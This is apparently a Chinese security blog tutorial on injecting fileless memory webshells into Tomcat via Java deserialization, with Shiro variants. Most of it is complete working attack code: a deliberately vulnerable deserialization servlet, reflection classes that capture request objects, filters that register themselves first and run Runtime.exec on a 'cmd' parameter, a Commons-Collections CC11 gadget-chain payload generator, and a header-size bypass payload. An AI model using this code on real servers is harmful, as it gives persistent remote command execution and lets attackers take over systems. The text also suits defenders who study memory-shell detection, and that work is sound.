结合反序列化的内存马注入
真正的内存马
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
其实主要要解决的问题就是如何获取 request 和 response 对象。
目前主流的回显技术(部分)主要有:
- linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干 - 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。 - 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
限制:会导致http包超长,但相对比较通用。
- linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
通过ThreadLocal Response回显
大致思路是找一个存储 request 和 response 的变量,而且这个的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例。最后 kingkk 师傅是找到了 org.apache.catalina.core.ApplicationFilterChain 中的 lastServicedRequest 和 lastServicedResponse
通过 set 方法将 requet 和 response 放在这两个变量中,其中的判断条件都可以通过反射进行修改(具体步骤见 demo)
内存马实现回显大致思路就是两次访问:
- 第一次把 request 和 response 存储到 lastServicedRequest 和 lastServicedResponse 中
- 第二次将其取出,从而将结果写入 response 中从而达到回显目的
后续三梦师傅提出了改进策略,通过动态注册一个Filter,并且把其放到最前面,这部分主要需要两个步骤:
- 先能获取 request 和 response
- 然后通过 request 或 response 动态注册 Filter
环境搭建:
参考木头师傅的 demo
@WebServlet("/cc") public class CCServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream inputStream = (InputStream) req; ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream inputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } }
添加 pom.xml
<groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version>
漏洞利用:
第一步是存入 request 和 response,大致思路就是利用反射完成 lastServicedRequest 和 lastServicedResponse 的初始化,其中 WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse 为 static final 变量,且 lastServicedRequest、lastServicedResponse 是私有变量,因此需要 modifiersField 的处理将 FINAL 属性取消掉。
具体实现步骤为:
- 反射把 WRAP_SAME_OBJECT 修改为 true
- 反射初始化 lastServicedResponse 变量为 ThreadLocal
- 反射从 lastServicedResponse 中获取 tomcat Response(在之后的步骤中实现)
package cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Modifier;
public class TomcatEcho extends AbstractTranslet {
static {
try {
// 修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); //获取modifiers字段
modifiersField.setAccessible(true); //将变量设置为可访问
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性
f.setAccessible(true); //将变量设置为可访问
if (!f.getBoolean(null)) {
f.setBoolean(null, true); //将变量设置为true
}
// 初始化 lastServicedRequest & lastServicedResponse
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal()); //设置ThreadLocal对象
}
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal()); //设置ThreadLocal对象
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。
package cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/**
* @author threedr3am
*/
public class TomcatInject extends AbstractTranslet implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "moon_flower";
static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);
// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
// 在设置之后我们需要 调用 filterstart
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);
/**
* 将我们的 filtermap 插入到最前面
*/
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取
//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();
//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
至此,两部分的操作都已完成,下一步要做的就是通过 cc11 (只要能动态加载字节码的 cc链都可以)注入内存马
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class CC11Template {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
// 利用反射调用 templates 中的 newTransformer 方法
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 我们要设置 HashSet 的 map 为我们的 HashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
// 在 invoke 之后,
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
//ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
outputStream.writeObject(hashset);
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
public static byte[] getBytes() throws IOException {
// 第一次
// InputStream inputStream = new FileInputStream(new File("./TomcatEcho.class"));
// 第二次
InputStream inputStream = new FileInputStream(new File("./TomcatInject.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
第一次注入:
第二次注入:
最后结果:
通过全局存储 Response回显
基本上算是通用的了,大致思路就是找一个不受框架限制的变量,其中存储着 request 和 response,原作者 Litch1 师傅找到了继承 Http11Processor 的 AbstractProcessor 中有 Request 和 Response 的 Field,并且都是 final 类型(赋值之后对于对象的引用不会变),也就是说只要能拿到这个 Http11Processor 就可以拿到 request 和 response 了。
还是之前的 debug 方式,在 new Http11Processor 处下个断点,追一下调用栈,发现 new 完之后的东西存在 processor 中,那下一步要做的就是如何获得这个 processor
跟进到 register 中,用 rp 存储了 processor 获取到的 RequestInfo,一层一层跟下去也就是拿了个 req,然后会把这个 rp 存在子类(ConnectionHandler)的 global 属性中
final 属性,存入后不改变
一直跟进到 addRequestProcessor 中,发现会直接 add 到数组中,也就是相当于添加到了 global 的 processors 中
最后知道通过反射拿到 global 中的 processors 属性,就可以通过遍历 processors 获取到 Request 和 Reponse 了。
而 global 属性是在 AbstractProtocol$ConnectoinHandler 中定义的,那么下一步就是找有没有地方存着 AbstractProtocol 或 它的子类,这里作者找到了 CoyoteAdapter 的 connector,
看一下 Connector 这个类,其中有一个 protocolHandler 的接口,而 AbstractProtocol 是 ProtocolHandler 接口的实现类(ctrl + h 查看)
那么现在的目标就是如何获取 Connector,在 Tomcat 启动过程中的 setConnector 会触发 addConnector 的操作,将 Connector 放入 Service 中,而 Service 为 StandardService
至此的链子串起来就是
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
关于双亲委派机制:(补的一点知识,和漏洞关系不大,可跳过)
当一个类加载器收到类加载请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载,只有父加载器无法加载这个类的时候,才会由昂前这个加载器来负责类的加载。可以有效的避免类的重复加载,当父加载器已经加载过一个类时,子加载器就不会再重新加载这个类。在代码层的 loadClass 中实现。
如何破坏双亲委派:
自定义一个类加载器,重写其中的 loadClass 方法,使其不进行双亲委派。
为什么 tomcat 要破坏双亲委派:
Tomcat是 web 容器,那么一个 web 容器可能需要部署多个应用程序,多个应用程序可能会有多个版本的库,这些库中的代码实现可能会不同,但是通过双亲委派要加载的类确实相同的,这就会导致不同版本的库实例化的类时相同的,就会 G。
关于 tomcat 的隔离机制:
不是传统的双亲委派机制,而是每个 WebApp 用一个独有的 ClassLoader(WebappClassLoader) 实例来优先处理加载,并不会传递给父加载器。
如果使用 Thread Context ClassLoader(线程上下文类加载器),Thread类中有 getContextClassLoader() 和 setContextClassLoader(ClassLoader cl) 方法用来获取和设置上下文类加载器,如果没有 setContextClassLoader(ClassLoader cl) 方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于 Tomcat 来说 ContextClassLoader 被设置为 WebAppClassLoader。
也就是说 WebAppClassLoaderBase 就是我们寻找的 Thread 和 Tomcat 运行上下文的联系之一。
poc:(参考木头师傅)
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.StandardContext; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map; public class TomcatMemShellInject extends AbstractTranslet implements Filter { private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "evilFilter"; static { try { Class c = Class.forName("org.apache.catalina.core.StandardContext"); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServletContext servletContext = standardContext.getServletContext(); Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); // 如果我们filter的名字不存在那么就进行注入 if (filterConfigs.get(filterName) == null){ // 将自己作为 Filter 进行注入 Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); // 添加恶意 filter Filter MemShell = new TomcatMemShellInject(); FilterRegistration.Dynamic filterRegistration = servletContext .addFilter(filterName, MemShell); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern}); if (stateField != null) { stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); } if (standardContext != null){ Method filterStartMethod = StandardContext.class .getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Method m = c.getMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } } } catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
Shiro 中的内存马注入
首先考虑回显方式,如果是利用 ApplicationFilterChain 获取回显,在 set 之前执行完了所有的 Filter,对于 shiro 的反序列化利用就打不通,所以考虑用拿 response 全局变量的方式,但这种情况会衍生出新的问题:接收的最大http头部大小为8192,而Cookie 过长。
第一种思路是通过修改 Tomcat Header 的 maxsize 来进行绕过。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; @SuppressWarnings("all") public class TomcatHeaderSize extends AbstractTranslet { static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); headerSizeField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { // org.apache.coyote.AbstractProtocol$ConnectionHandler if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); // 10000 为修改后的 headersize headerSizeField.set(tempRequest.getInputBuffer(),10000); } } } // 10000 为修改后的 headersize ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000); } } } } catch (Exception e) { } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
第二种思路就是将 class bytes使用 gzip+base64 压缩编码,就是强行压缩,就不复现了。
第三种思路是从 post 请求体中发送字节码数据。
但并不是借助 filter 注入,而是反序列化一个 MyClassLoader,在静态代码块中获取了 Spring Boot上下文里的 request ,response 和 session,然后获取 classData 参数并通过反射调用 defineClass 动态加载此类,实例化后调用其中的 equals 方法传入 request ,response 和 session三个对象。
但是只限于 springboot + shiro 环境,在 tomcat 下会失败,因为 request 对象是从 Sprint Boot 上下文中获取,而 tomcat 中并没有。参考文献
- https://www.anquanke.com/post/id/264821
- https://xz.aliyun.com/t/7348#toc-3
- http://wjlshare.com/archives/1541
- https://xz.aliyun.com/t/7388#toc-2
- https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3
- https://www.cnblogs.com/hollischuang/p/14260801.html
- https://xz.aliyun.com/t/10696#toc-8
- https://zhuanlan.zhihu.com/p/395443877